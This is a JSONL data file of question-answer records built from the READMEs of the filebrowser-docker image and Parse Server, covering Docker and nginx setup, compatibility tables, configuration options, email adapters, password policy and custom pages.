{"id": "gh_5d54fc22694f", "question": "How to: Introduction", "question_body": "About hurlenko/filebrowser-docker", "answer": "filebrowser provides a file managing interface within a specified directory and it can be used to upload, delete, preview, rename and edit your files. It allows the creation of multiple users and each user can have its own directory. It can be used as a standalone app or as a middleware.", "tags": ["hurlenko"], "source": "github_gists", "category": "hurlenko", "difficulty": "intermediate", "quality_score": 0.68, "question_score": 434, "answer_score": 10, "has_code": false, "url": "https://github.com/hurlenko/filebrowser-docker", "collected_at": "2026-01-17T12:59:12.157811"}
{"id": "gh_e641600e685d", "question": "How to: Table of Contents", "question_body": "About hurlenko/filebrowser-docker", "answer": "- [Screenshots](#screenshots)\n- [Features](#features)\n- [Usage](#usage)\n  - [Docker](#docker)\n  - [docker-compose](#docker-compose)\n  - [Nginx](#running-behind-nginx-proxy)\n  - [Ports description](#ports-description)\n  - [Supported environment variables](#supported-environment-variables)\n  - [Supported volumes](#supported-volumes)\n  - [Attaching multiple directories](#attaching-multiple-directories)\n- [Building](#building)", "tags": ["hurlenko"], "source": "github_gists", "category": "hurlenko", "difficulty": "intermediate", "quality_score": 0.68, "question_score": 434, "answer_score": 10, "has_code": false, "url": "https://github.com/hurlenko/filebrowser-docker", "collected_at": "2026-01-17T12:59:12.157818"}
{"id": "gh_136a6f2f0d7b", "question": "How to: Mobile device", "question_body": "About hurlenko/filebrowser-docker", "answer": "| | |\n|---|---|\n![Preview](https://user-images.githubusercontent.com/18035960/67269128-c7873000-f4be-11e9-89be-1fe33c3e973c.png) | ![Preview](https://user-images.githubusercontent.com/18035960/67269151-d4a41f00-f4be-11e9-9b10-ec08c3a96692.png)", "tags": ["hurlenko"], "source": "github_gists", "category": "hurlenko", "difficulty": "intermediate", "quality_score": 0.68, "question_score": 434, "answer_score": 10, "has_code": false, "url": "https://github.com/hurlenko/filebrowser-docker", "collected_at": "2026-01-17T12:59:12.157824"}
{"id": "gh_e18ea368e58a", "question": "How to: docker-compose", "question_body": "About hurlenko/filebrowser-docker", "answer": "Minimal `docker-compose.yml` may look like this:\n\n```yaml\nversion: \"3\"\n\nservices:\n  filebrowser:\n    image: hurlenko/filebrowser\n    user: \"${UID}:${GID}\"\n    ports:\n      - 443:8080\n    volumes:\n      - /DATA_DIR:/data\n      - /CONFIG_DIR:/config\n    environment:\n      - FB_BASEURL=/filebrowser\n    restart: always\n```\n\nSimply run:\n\n```bash\ndocker-compose up\n```", "tags": ["hurlenko"], "source": "github_gists", "category": "hurlenko", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 434, "answer_score": 10, "has_code": true, "url": "https://github.com/hurlenko/filebrowser-docker", "collected_at": "2026-01-17T12:59:12.157833"}
{"id": "gh_8809ae8379a9", "question": "How to: Running behind Nginx proxy", "question_body": "About hurlenko/filebrowser-docker", "answer": "You can use this nginx config:\n\n```nginx\nlocation /filebrowser {\n    # prevents 502 bad gateway error\n    proxy_buffers 8 32k;\n    proxy_buffer_size 64k;\n\n    client_max_body_size 75M;\n\n    # redirect all HTTP traffic to localhost:8088;\n    proxy_pass http://localhost:8080;\n    proxy_set_header X-Real-IP $remote_addr;\n    proxy_set_header Host $http_host;\n    proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;\n    #proxy_set_header X-NginX-Proxy true;\n\n    # enables WS support\n    proxy_http_version 1.1;\n    proxy_set_header Upgrade $http_upgrade;\n    proxy_set_header Connection \"upgrade\";\n\n    proxy_read_timeout 999999999;\n}\n```", "tags": ["hurlenko"], "source": "github_gists", "category": "hurlenko", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 434, "answer_score": 10, "has_code": true, "url": "https://github.com/hurlenko/filebrowser-docker", "collected_at": "2026-01-17T12:59:12.157840"}
{"id": "gh_1efa7701e440", "question": "How to: Supported environment variables", "question_body": "About hurlenko/filebrowser-docker", "answer": "The environment variables are prefixed by `FB_` followed by the option name in caps. So to set \"database\" via an env variable, you should set FB_DATABASE. The list of avalable options can be [found here](https://filebrowser.org/cli/filebrowser#options).", "tags": ["hurlenko"], "source": "github_gists", "category": "hurlenko", "difficulty": "intermediate", "quality_score": 0.73, "question_score": 434, "answer_score": 10, "has_code": false, "url": "https://github.com/hurlenko/filebrowser-docker", "collected_at": "2026-01-17T12:59:12.157846"}
{"id": "gh_de744c6527ed", "question": "How to: Supported volumes", "question_body": "About hurlenko/filebrowser-docker", "answer": "- `/data` - Data directory to browse\n- `/config` - `filebrowser.db` location", "tags": ["hurlenko"], "source": "github_gists", "category": "hurlenko", "difficulty": "intermediate", "quality_score": 0.73, "question_score": 434, "answer_score": 10, "has_code": false, "url": "https://github.com/hurlenko/filebrowser-docker", "collected_at": "2026-01-17T12:59:12.157850"}
{"id": "gh_5b0552b91ec2", "question": "How to: Attaching multiple directories", "question_body": "About hurlenko/filebrowser-docker", "answer": "If you want to attach multiple directories you need to mount them as subdirectories of the data directory inside of the container (`/data` by default):\n\n```bash\ndocker run \\\n    -v /path/to/music:/data/music \\\n    -v /path/to/movies:/data/movies \\\n    -v /path/to/photos:/data/photos \\\n    hurlenko/filebrowser\n```", "tags": ["hurlenko"], "source": "github_gists", "category": "hurlenko", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 434, "answer_score": 10, "has_code": true, "url": "https://github.com/hurlenko/filebrowser-docker", "collected_at": "2026-01-17T12:59:12.157855"}
{"id": "gh_85e5316b2d15", "question": "How to: Flavors & Branches", "question_body": "About parse-community/parse-server", "answer": "Parse Server is available in different flavors on different branches:\n\n- The main branches are [release][log_release] and [alpha][log_alpha]. See the [changelog overview](CHANGELOG.md) for details.\n- The long-term-support (LTS) branches are named `release-\n.x.x`, for example `release-5.x.x`. LTS branches do not have pre-release branches.", "tags": ["parse-community"], "source": "github_gists", "category": "parse-community", "difficulty": "intermediate", "quality_score": 0.68, "question_score": 21343, "answer_score": 10, "has_code": false, "url": "https://github.com/parse-community/parse-server", "collected_at": "2026-01-17T12:59:22.015790"}
{"id": "gh_e5aca2a1bf60", "question": "How to: Long Term Support", "question_body": "About parse-community/parse-server", "answer": "Long-Term-Support (LTS) is provided for the previous Parse Server major version. For example, Parse Server 5.x will receive security updates until Parse Server 6.x is superseded by Parse Server 7.x and becomes the new LTS version. While the current major version is published on branch `release`, a LTS version is published on branch `release-#.x.x`, for example `release-5.x.x` for the Parse Server 5.x LTS branch.\n\n⚠️ LTS versions are provided to help you transition as soon as possible to the current major version. While we aim to fix security vulnerabilities in the LTS version, our main focus is on developing the current major version and preparing the next major release. Therefore we may leave certain vulnerabilities up to the community to fix. Search for [pull requests with the specific LTS base branch](https://github.com/parse-community/parse-server/pulls?q=is%3Aopen+is%3Apr+base%3Arelease-5.x.x) to see the current open vulnerabilities for that LTS branch.", "tags": ["parse-community"], "source": "github_gists", "category": "parse-community", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 21343, "answer_score": 10, "has_code": false, "url": "https://github.com/parse-community/parse-server", "collected_at": "2026-01-17T12:59:22.015804"}
{"id": "gh_f44fdd8ce72d", "question": "How to: Getting Started", "question_body": "About parse-community/parse-server", "answer": "The fastest and easiest way to get started is to run MongoDB and Parse Server locally.", "tags": ["parse-community"], "source": "github_gists", "category": "parse-community", "difficulty": "intermediate", "quality_score": 0.73, "question_score": 21343, "answer_score": 10, "has_code": false, "url": "https://github.com/parse-community/parse-server", "collected_at": "2026-01-17T12:59:22.015810"}
{"id": "gh_42bffde77df6", "question": "How to: Running Parse Server", "question_body": "About parse-community/parse-server", "answer": "Before you start make sure you have installed:\n\n- [NodeJS](https://www.npmjs.com/) that includes `npm`\n- [MongoDB](https://www.mongodb.com/) or [PostgreSQL](https://www.postgresql.org/)(with [PostGIS](https://postgis.net) 2.2.0 or higher)\n- Optionally [Docker](https://www.docker.com/)", "tags": ["parse-community"], "source": "github_gists", "category": "parse-community", "difficulty": "intermediate", "quality_score": 0.73, "question_score": 21343, "answer_score": 10, "has_code": false, "url": "https://github.com/parse-community/parse-server", "collected_at": "2026-01-17T12:59:22.015815"}
{"id": "gh_a6ae96bd4e2d", "question": "How to: Compatibility", "question_body": "About parse-community/parse-server", "answer": "#### Node.js\n\nParse Server is continuously tested with the most recent releases of Node.js to ensure compatibility. We follow the [Node.js Long Term Support plan](https://github.com/nodejs/Release) and only test against versions that are officially supported and have not reached their end-of-life date.\n\n| Version    | Minimum Version | End-of-Life | Parse Server Support |\n| ---------- | --------------- | ----------- | -------------------- |\n| Node.js 18 | 18.20.4         | April 2025  | <= 8.x (2025)        |\n| Node.js 20 | 20.19.0         | April 2026  | <= 9.x (2026)        |\n| Node.js 22 | 22.12.0         | April 2027  | <= 10.x (2027)       |\n| Node.js 24 | 24.11.0         | April 2028  | <= 11.x (2028)       |\n\n#### MongoDB\n\nParse Server is continuously tested with the most recent releases of MongoDB to ensure compatibility. We follow the [MongoDB support schedule](https://www.mongodb.com/support-policy) and [MongoDB lifecycle schedule](https://www.mongodb.com/support-policy/lifecycles) and only test against versions that are officially supported and have not reached their end-of-life date. MongoDB \"rapid releases\" are ignored as these are considered pre-releases of the next major version.\n\n| Version   | Minimum Version | End-of-Life | Parse Server Support |\n| --------- | --------------- | ----------- | -------------------- |\n| MongoDB 6 | 6.0.19          | July 2025   | <= 8.x (2025)        |\n| MongoDB 7 | 7.0.16          | August 2026 | <= 9.x (2026)        |\n| MongoDB 8 | 8.0.4           | TDB         | <= 10.x (2027)       |\n\n#### PostgreSQL\n\nParse Server is continuously tested with the most recent releases of PostgreSQL and PostGIS to ensure compatibility, using [PostGIS docker images](https://registry.hub.docker.com/r/postgis/postgis/tags?page=1&ordering=last_updated). We follow the [PostgreSQL support schedule](https://www.postgresql.org/support/versioning) and [PostGIS support schedule](https://www.postgis.net/eol_policy/) and only test against versions that are officially supported and have not reached their end-of-life date. Due to the extensive PostgreSQL support duration of 5 years, Parse Server drops support about 2 years before the official end-of-life date.\n\n| Version     | PostGIS Version         | End-of-Life   | Parse Server Support |\n| ----------- | ----------------------- | ------------- | -------------------- |\n| Postgres 13 | 3.1, 3.2, 3.3, 3.4, 3.5 | November 2025 | <= 6.x (2023)        |\n| Postgres 14 | 3.5                     | November 2026 | <= 7.x (2024)        |\n| Postgres 15 | 3.3, 3.4, 3.5           | November 2027 | <= 8.x (2025)        |\n| Postgres 16 | 3.5                     | November 2028 | <= 9.x (2026)        |\n| Postgres 17 | 3.5                     | November 2029 | <= 10.x (2027)       |\n| Postgres 18 | 3.6                     | November 2030 | <= 11.x (2028)       |", "tags": ["parse-community"], "source": "github_gists", "category": "parse-community", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 21343, "answer_score": 10, "has_code": true, "url": "https://github.com/parse-community/parse-server", "collected_at": "2026-01-17T12:59:22.015825"}
{"id": "gh_dc7d31d9f36b", "question": "How to: Docker Container", "question_body": "About parse-community/parse-server", "answer": "```bash\n$ git clone https://github.com/parse-community/parse-server\n$ cd parse-server\n$ docker build --tag parse-server .\n$ docker run --name my-mongo -d mongo\n```\n\n#### Running the Parse Server Image\n```bash\n$ docker run --name my-parse-server -v config-vol:/parse-server/config -p 1337:1337 --link my-mongo:mongo -d parse-server --appId APPLICATION_ID --masterKey MASTER_KEY --databaseURI mongodb://mongo/test\n```\n\n**_Note:_** _If you want to use [Cloud Code](https://docs.parseplatform.org/cloudcode/guide/), add `-v cloud-code-vol:/parse-server/cloud --cloud /parse-server/cloud/main.js` to the command above. Make sure `main.js` is in the `cloud-code-vol` directory before starting Parse Server._\n\nYou can use any arbitrary string as your application id and master key. These will be used by your clients to authenticate with the Parse Server.\n\nThat's it! You are now running a standalone version of Parse Server on your machine.\n\n**Using a remote MongoDB?** Pass the `--databaseURI DATABASE_URI` parameter when starting `parse-server`. Learn more about configuring Parse Server [here](#configuration). For a full list of available options, run `parse-server --help`.", "tags": ["parse-community"], "source": "github_gists", "category": "parse-community", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 21343, "answer_score": 10, "has_code": true, "url": "https://github.com/parse-community/parse-server", "collected_at": "2026-01-17T12:59:22.015832"}
{"id": "gh_f9d578fb97e7", "question": "How to: Saving and Querying Objects", "question_body": "About parse-community/parse-server", "answer": "Now that you're running Parse Server, it is time to save your first object. The easiest way is to use the [REST API](http://docs.parseplatform.org/rest/guide), but you can easily do the same using any of the [Parse SDKs](http://parseplatform.org/#sdks). To learn more check out the [documentation](http://docs.parseplatform.org).", "tags": ["parse-community"], "source": "github_gists", "category": "parse-community", "difficulty": "intermediate", "quality_score": 0.73, "question_score": 21343, "answer_score": 10, "has_code": false, "url": "https://github.com/parse-community/parse-server", "collected_at": "2026-01-17T12:59:22.015837"}
{"id": "gh_dd460be853f6", "question": "How to: Connect an SDK", "question_body": "About parse-community/parse-server", "answer": "Parse provides SDKs for all the major platforms. Refer to the Parse Server guide to [learn how to connect your app to Parse Server](https://docs.parseplatform.org/parse-server/guide/#using-parse-sdks-with-parse-server).", "tags": ["parse-community"], "source": "github_gists", "category": "parse-community", "difficulty": "intermediate", "quality_score": 0.73, "question_score": 21343, "answer_score": 10, "has_code": false, "url": "https://github.com/parse-community/parse-server", "collected_at": "2026-01-17T12:59:22.015842"}
{"id": "gh_162a447c60d3", "question": "How to: Running Parse Server elsewhere", "question_body": "About parse-community/parse-server", "answer": "Once you have a better understanding of how the project works, please refer to the [Parse Server wiki](https://github.com/parse-community/parse-server/wiki) for in-depth guides to deploy Parse Server to major infrastructure providers. Read on to learn more about additional ways of running Parse Server.", "tags": ["parse-community"], "source": "github_gists", "category": "parse-community", "difficulty": "intermediate", "quality_score": 0.73, "question_score": 21343, "answer_score": 10, "has_code": false, "url": "https://github.com/parse-community/parse-server", "collected_at": "2026-01-17T12:59:22.015847"}
{"id": "gh_86eae007491c", "question": "How to: Sample Application", "question_body": "About parse-community/parse-server", "answer": "We have provided a basic [Node.js application](https://github.com/parse-community/parse-server-example) that uses the Parse Server module on Express and can be easily deployed to various infrastructure providers:\n\n- [Heroku and mLab](https://devcenter.heroku.com/articles/deploying-a-parse-server-to-heroku)\n- [AWS and Elastic Beanstalk](http://mobile.awsblog.com/post/TxCD57GZLM2JR/How-to-set-up-Parse-Server-on-AWS-using-AWS-Elastic-Beanstalk)\n- [Google App Engine](https://medium.com/@justinbeckwith/deploying-parse-server-to-google-app-engine-6bc0b7451d50)\n- [Microsoft Azure](https://azure.microsoft.com/en-us/blog/azure-welcomes-parse-developers/)\n- [SashiDo](https://blog.sashido.io/tag/migration/)\n- [Digital Ocean](https://www.digitalocean.com/community/tutorials/how-to-run-parse-server-on-ubuntu-14-04)\n- [Pivotal Web Services](https://github.com/cf-platform-eng/pws-parse-server)\n- [Back4app](https://www.back4app.com/docs/get-started/welcome)\n- [Glitch](https://glitch.com/edit/#!/parse-server)\n- [Flynn](https://flynn.io/blog/parse-apps-on-flynn)\n- [Elestio](https://elest.io/open-source/parse)", "tags": ["parse-community"], "source": "github_gists", "category": "parse-community", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 21343, "answer_score": 10, "has_code": false, "url": "https://github.com/parse-community/parse-server", "collected_at": "2026-01-17T12:59:22.015853"}
{"id": "gh_c1ffe54c8399", "question": "How to: Parse Server + Express", "question_body": "About parse-community/parse-server", "answer": "You can also create an instance of Parse Server, and mount it on a new or existing Express website:\n\n```js\nconst express = require('express');\nconst ParseServer = require('parse-server').ParseServer;\nconst app = express();\n\nconst server = new ParseServer({\n  databaseURI: 'mongodb://localhost:27017/dev', // Connection string for your MongoDB database\n  cloud: './cloud/main.js', // Path to your Cloud Code\n  appId: 'myAppId',\n  masterKey: 'myMasterKey', // Keep this key secret!\n  fileKey: 'optionalFileKey',\n  serverURL: 'http://localhost:1337/parse', // Don't forget to change to https if needed\n});\n\n// Start server\nawait server.start();\n\n// Serve the Parse API on the /parse URL prefix\napp.use('/parse', server.app);\n\napp.listen(1337, function () {\n  console.log('parse-server-example running on port 1337.');\n});\n```\n\nFor a full list of available options, run `parse-server --help` or take a look at [Parse Server Configurations][server-options].", "tags": ["parse-community"], "source": "github_gists", "category": "parse-community", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 21343, "answer_score": 10, "has_code": true, "url": "https://github.com/parse-community/parse-server", "collected_at": "2026-01-17T12:59:22.015859"}
{"id": "gh_e3db866c3238", "question": "How to: Parse Server Health", "question_body": "About parse-community/parse-server", "answer": "Check the Parse Server health by sending a request to the `/parse/health` endpoint.\n\nThe response looks like this:\n\n```json\n{\n  \"status\": \"ok\"\n}\n```", "tags": ["parse-community"], "source": "github_gists", "category": "parse-community", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 21343, "answer_score": 10, "has_code": true, "url": "https://github.com/parse-community/parse-server", "collected_at": "2026-01-17T12:59:22.015864"}
{"id": "gh_8a31c0f32e3c", "question": "How to: Status Values", "question_body": "About parse-community/parse-server", "answer": "| Value         | Description                                                                 |\n| ------------- | --------------------------------------------------------------------------- |\n| `initialized` | The server has been created but the `start` method has not been called yet. |\n| `starting`    | The server is starting up.                                                  |\n| `ok`          | The server started and is running.                                          |\n| `error`       | There was a startup error, see the logs for details.                        |", "tags": ["parse-community"], "source": "github_gists", "category": "parse-community", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 21343, "answer_score": 10, "has_code": true, "url": "https://github.com/parse-community/parse-server", "collected_at": "2026-01-17T12:59:22.015870"}
{"id": "gh_44175dc76945", "question": "How to: Configuration", "question_body": "About parse-community/parse-server", "answer": "Parse Server can be configured using the following options. You may pass these as parameters when running a standalone `parse-server`, or by loading a configuration file in JSON format using `parse-server path/to/configuration.json`. If you're using Parse Server on Express, you may also pass these to the `ParseServer` object as options.\n\nFor the full list of available options, run `parse-server --help` or take a look at [Parse Server Configurations][server-options].", "tags": ["parse-community"], "source": "github_gists", "category": "parse-community", "difficulty": "intermediate", "quality_score": 0.68, "question_score": 21343, "answer_score": 10, "has_code": false, "url": "https://github.com/parse-community/parse-server", "collected_at": "2026-01-17T12:59:22.015875"}
{"id": "gh_ec7380c8a934", "question": "How to: Basic Options", "question_body": "About parse-community/parse-server", "answer": "- `appId` **(required)** - The application id to host with this server instance. You can use any arbitrary string. For migrated apps, this should match your hosted Parse app.\n- `masterKey` **(required)** - The master key to use for overriding ACL security. You can use any arbitrary string. Keep it secret! For migrated apps, this should match your hosted Parse app.\n- `databaseURI` **(required)** - The connection string for your database, i.e. `mongodb://user:pass@host.com/dbname`. Be sure to [URL encode your password](https://app.zencoder.com/docs/guides/getting-started/special-characters-in-usernames-and-passwords) if your password has special characters.\n- `port` - The default port is 1337, specify this parameter to use a different port.\n- `serverURL` - URL to your Parse Server (don't forget to specify http:// or https://). This URL will be used when making requests to Parse Server from Cloud Code.\n- `cloud` - The absolute path to your cloud code `main.js` file.\n- `push` - Configuration options for APNS and FCM push. See the [Push Notifications quick start](https://docs.parseplatform.org/parse-server/guide/#push-notifications-quick-start).", "tags": ["parse-community"], "source": "github_gists", "category": "parse-community", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 21343, "answer_score": 10, "has_code": false, "url": "https://github.com/parse-community/parse-server", "collected_at": "2026-01-17T12:59:22.015881"}
{"id": "gh_320e68d930d3", "question": "How to: Client Key Options", "question_body": "About parse-community/parse-server", "answer": "The client keys used with Parse are no longer necessary with Parse Server. If you wish to still require them, perhaps to be able to refuse access to older clients, you can set the keys at initialization time. Setting any of these keys will require all requests to provide one of the configured keys.\n\n- `clientKey`\n- `javascriptKey`\n- `restAPIKey`\n- `dotNetKey`", "tags": ["parse-community"], "source": "github_gists", "category": "parse-community", "difficulty": "intermediate", "quality_score": 0.68, "question_score": 21343, "answer_score": 10, "has_code": false, "url": "https://github.com/parse-community/parse-server", "collected_at": "2026-01-17T12:59:22.015886"}
{"id": "gh_620dbe62ea6d", "question": "How to: Access Scopes", "question_body": "About parse-community/parse-server", "answer": "| Scope          | Internal data | Read-only data\n(1)\n| Custom data | Restricted by CLP, ACL | Key                 |\n| -------------- | ------------- | ----------------------------- | ----------- | ---------------------- | ------------------- |\n| Internal       | r/w           | r/w                           | r/w         | no                     | `maintenanceKey`    |\n| Master         | -/-           | r/-                           | r/w         | no                     | `masterKey`         |\n| ReadOnlyMaster | -/-           | r/-                           | r/-         | no                     | `readOnlyMasterKey` |\n| Session        | -/-           | r/-                           | r/w         | yes                    | `sessionToken`      |\n(1) `Parse.Object.createdAt`, `Parse.Object.updatedAt`.", "tags": ["parse-community"], "source": "github_gists", "category": "parse-community", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 21343, "answer_score": 10, "has_code": true, "url": "https://github.com/parse-community/parse-server", "collected_at": "2026-01-17T12:59:22.015892"}
{"id": "gh_280cbfce830f", "question": "How to: Email Verification and Password Reset", "question_body": "About parse-community/parse-server", "answer": "Verifying user email addresses and enabling password reset via email requires an email adapter. There are many email adapters provided and maintained by the community. The following is an example configuration with an example email adapter. See the [Parse Server Options][server-options] for more details and a full list of available options.\n\n```js\nconst server = ParseServer({\n  ...otherOptions,\n\n  // Enable email verification\n  verifyUserEmails: true,\n\n  // Set email verification token validity to 2 hours\n  emailVerifyTokenValidityDuration: 2 * 60 * 60,\n\n  // Set email adapter\n  emailAdapter: {\n    module: 'example-mail-adapter',\n    options: {\n      // Additional adapter options\n      ...mailAdapterOptions,\n    },\n  },\n});\n```\n\nOffical email adapters maintained by Parse Platform:\n\n- [parse-server-api-mail-adapter](https://github.com/parse-community/parse-server-api-mail-adapter) (localization, templates, universally supports any email provider)\n\nEmail adapters contributed by the community:\n\n- [parse-smtp-template](https://www.npmjs.com/package/parse-smtp-template) (localization, templates)\n- [parse-server-postmark-adapter](https://www.npmjs.com/package/parse-server-postmark-adapter)\n- [parse-server-sendgrid-adapter](https://www.npmjs.com/package/parse-server-sendgrid-adapter)\n- [parse-server-mandrill-adapter](https://www.npmjs.com/package/parse-server-mandrill-adapter)\n- [parse-server-simple-ses-adapter](https://www.npmjs.com/package/parse-server-simple-ses-adapter)\n- [parse-server-mailgun-adapter-template](https://www.npmjs.com/package/parse-server-mailgun-adapter-template)\n- [parse-server-sendinblue-adapter](https://www.npmjs.com/package/parse-server-sendinblue-adapter)\n- [parse-server-mailjet-adapter](https://www.npmjs.com/package/parse-server-mailjet-adapter)\n- [simple-parse-smtp-adapter](https://www.npmjs.com/package/simple-parse-smtp-adapter)\n- [parse-server-generic-email-adapter](https://www.npmjs.com/package/parse-server-generic-email-adapter)", "tags": ["parse-community"], "source": "github_gists", "category": "parse-community", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 21343, "answer_score": 10, "has_code": true, "url": "https://github.com/parse-community/parse-server", "collected_at": "2026-01-17T12:59:22.015899"}
{"id": "gh_8a9fa1c82421", "question": "How to: Password and Account Policy", "question_body": "About parse-community/parse-server", "answer": "Set a password and account policy that meets your security requirements. The following is an example configuration. See the [Parse Server Options][server-options] for more details and a full list of available options.\n\n```js\nconst server = ParseServer({\n  ...otherOptions,\n\n  // The account lock policy\n  accountLockout: {\n    // Lock the account for 5 minutes.\n    duration: 5,\n    // Lock an account after 3 failed log-in attempts\n    threshold: 3,\n    // Unlock the account after a successful password reset\n    unlockOnPasswordReset: true,\n  },\n\n  // The password policy\n  passwordPolicy: {\n    // Enforce a password of at least 8 characters which contain at least 1 lower case, 1 upper case and 1 digit\n    validatorPattern: /^(?=.*[a-z])(?=.*[A-Z])(?=.*[0-9])(?=.{8,})/,\n    // Do not allow the username as part of the password\n    doNotAllowUsername: true,\n    // Do not allow to re-use the last 5 passwords when setting a new password\n    maxPasswordHistory: 5,\n  },\n});\n```", "tags": ["parse-community"], "source": "github_gists", "category": "parse-community", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 21343, "answer_score": 10, "has_code": true, "url": "https://github.com/parse-community/parse-server", "collected_at": "2026-01-17T12:59:22.015906"}
{"id": "gh_83ed2168e317", "question": "How to: Custom Routes", "question_body": "About parse-community/parse-server", "answer": "Custom routes allow to build user flows with webpages, similar to the existing password reset and email verification features. Custom routes are defined with the `pages` option in the Parse Server configuration:", "tags": ["parse-community"], "source": "github_gists", "category": "parse-community", "difficulty": "intermediate", "quality_score": 0.68, "question_score": 21343, "answer_score": 10, "has_code": false, "url": "https://github.com/parse-community/parse-server", "collected_at": "2026-01-17T12:59:22.015910"}
{"id": "gh_1bc644526395", "question": "How to: Reserved Paths", "question_body": "About parse-community/parse-server", "answer": "The following paths are already used by Parse Server's built-in features and are therefore not available for custom routes. Custom routes with an identical combination of `path` and `method` are ignored.\n\n| Path                        | HTTP Method | Feature            |\n| --------------------------- | ----------- | ------------------ |\n| `verify_email`              | `GET`       | email verification |\n| `resend_verification_email` | `POST`      | email verification |\n| `choose_password`           | `GET`       | password reset     |\n| `request_password_reset`    | `GET`       | password reset     |\n| `request_password_reset`    | `POST`      | password reset     |", "tags": ["parse-community"], "source": "github_gists", "category": "parse-community", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 21343, "answer_score": 10, "has_code": true, "url": "https://github.com/parse-community/parse-server", "collected_at": "2026-01-17T12:59:22.015918"}
{"id": "gh_ba0540e0c844", "question": "How to: Parameters", "question_body": "About parse-community/parse-server", "answer": "| Parameter                    | Optional | Type            | Default value | Example values        | Environment variable               | Description                                                                                                                                                                                                                                                  |\n| ---------------------------- | -------- | --------------- | ------------- | --------------------- | ---------------------------------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ |\n| `pages`                      | yes      | `Object`        | `undefined`   | -                     | `PARSE_SERVER_PAGES`               | The options for pages such as password reset and email verification.                                                                                                                                                                                         |\n| `pages.enableRouter`         | yes      | `Boolean`       | `false`       | -                     | `PARSE_SERVER_PAGES_ENABLE_ROUTER` | Is `true` if the pages router should be enabled; this is required for any of the pages options to take effect.                                                                                                                                               |\n| `pages.customRoutes`         | yes      | `Array`         | `[]`          | -                     | `PARSE_SERVER_PAGES_CUSTOM_ROUTES` | The custom routes. The routes are added in the order they are defined here, which has to be considered since requests traverse routes in an ordered manner. Custom routes are traversed after build-in routes such as password reset and email verification. |\n| `pages.customRoutes.method`  |          | `String`        | -             | `GET`, `POST`         | -                                  | The HTTP method of the custom route.                                                                                                                                                                                                                         |\n| `pages.customRoutes.path`    |          | `String`        | -             | `custom_page`         | -                                  | The path of the custom route. Note that the same path can used if the `method` is different, for example a path `custom_page` can have two routes, a `GET` and `POST` route, which will be invoked depending on the HTTP request method.                     |\n| `pages.customRoutes.handler` |          | `AsyncFunction` | -             | `async () => { ... }` | -                                  | The route handler that is invoked when the route matches the HTTP request. If the handler does not return a page, the request is answered with a 404 `Not found.` response.                                                                                  |", "tags": ["parse-community"], "source": "github_gists", "category": "parse-community", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 21343, "answer_score": 10, "has_code": true, "url": "https://github.com/parse-community/parse-server", "collected_at": "2026-01-17T12:59:22.015926"}
{"id": "gh_1687d7b431c6", "question": "How to: Custom Pages", "question_body": "About parse-community/parse-server", "answer": "It’s possible to change the default pages of the app and redirect the user to another path or domain.\n\n```js\nconst server = ParseServer({\n  ...otherOptions,\n\n  customPages: {\n    passwordResetSuccess: 'http://yourapp.com/passwordResetSuccess',\n    verifyEmailSuccess: 'http://yourapp.com/verifyEmailSuccess',\n    parseFrameURL: 'http://yourapp.com/parseFrameURL',\n    linkSendSuccess: 'http://yourapp.com/linkSendSuccess',\n    linkSendFail: 'http://yourapp.com/linkSendFail',\n    invalidLink: 'http://yourapp.com/invalidLink',\n    invalidVerificationLink: 'http://yourapp.com/invalidVerificationLink',\n    choosePassword: 'http://yourapp.com/choosePassword',\n  },\n});\n```", "tags": ["parse-community"], "source": "github_gists", "category": "parse-community", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 21343, "answer_score": 10, "has_code": true, "url": "https://github.com/parse-community/parse-server", "collected_at": "2026-01-17T12:59:22.015933"}
{"id": "gh_d35fc82e2903", "question": "How to: Using Environment Variables", "question_body": "About parse-community/parse-server", "answer": "You may configure the Parse Server using environment variables:\n\n```bash\nPORT\nPARSE_SERVER_APPLICATION_ID\nPARSE_SERVER_MASTER_KEY\nPARSE_SERVER_DATABASE_URI\nPARSE_SERVER_URL\nPARSE_SERVER_CLOUD\n```\n\nThe default port is 1337, to use a different port set the PORT environment variable:\n\n```bash\n$ PORT=8080 parse-server --appId APPLICATION_ID --masterKey MASTER_KEY\n```\n\nFor the full list of configurable environment variables, run `parse-server --help` or take a look at [Parse Server Configuration](https://github.com/parse-community/parse-server/blob/master/src/Options/Definitions.js).", "tags": ["parse-community"], "source": "github_gists", "category": "parse-community", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 21343, "answer_score": 10, "has_code": true, "url": "https://github.com/parse-community/parse-server", "collected_at": "2026-01-17T12:59:22.015939"}
{"id": "gh_1be663049216", "question": "How to: Available Adapters", "question_body": "About parse-community/parse-server", "answer": "All official adapters are distributed as scoped packages on [npm (@parse)](https://www.npmjs.com/search?q=scope%3Aparse).\n\nSome well maintained adapters are also available on the [Parse Server Modules](https://github.com/parse-server-modules) organization.\n\nYou can also find more adapters maintained by the community by searching on [npm](https://www.npmjs.com/search?q=parse-server%20adapter&page=1&ranking=optimal).", "tags": ["parse-community"], "source": "github_gists", "category": "parse-community", "difficulty": "intermediate", "quality_score": 0.68, "question_score": 21343, "answer_score": 10, "has_code": false, "url": "https://github.com/parse-community/parse-server", "collected_at": "2026-01-17T12:59:22.015944"}
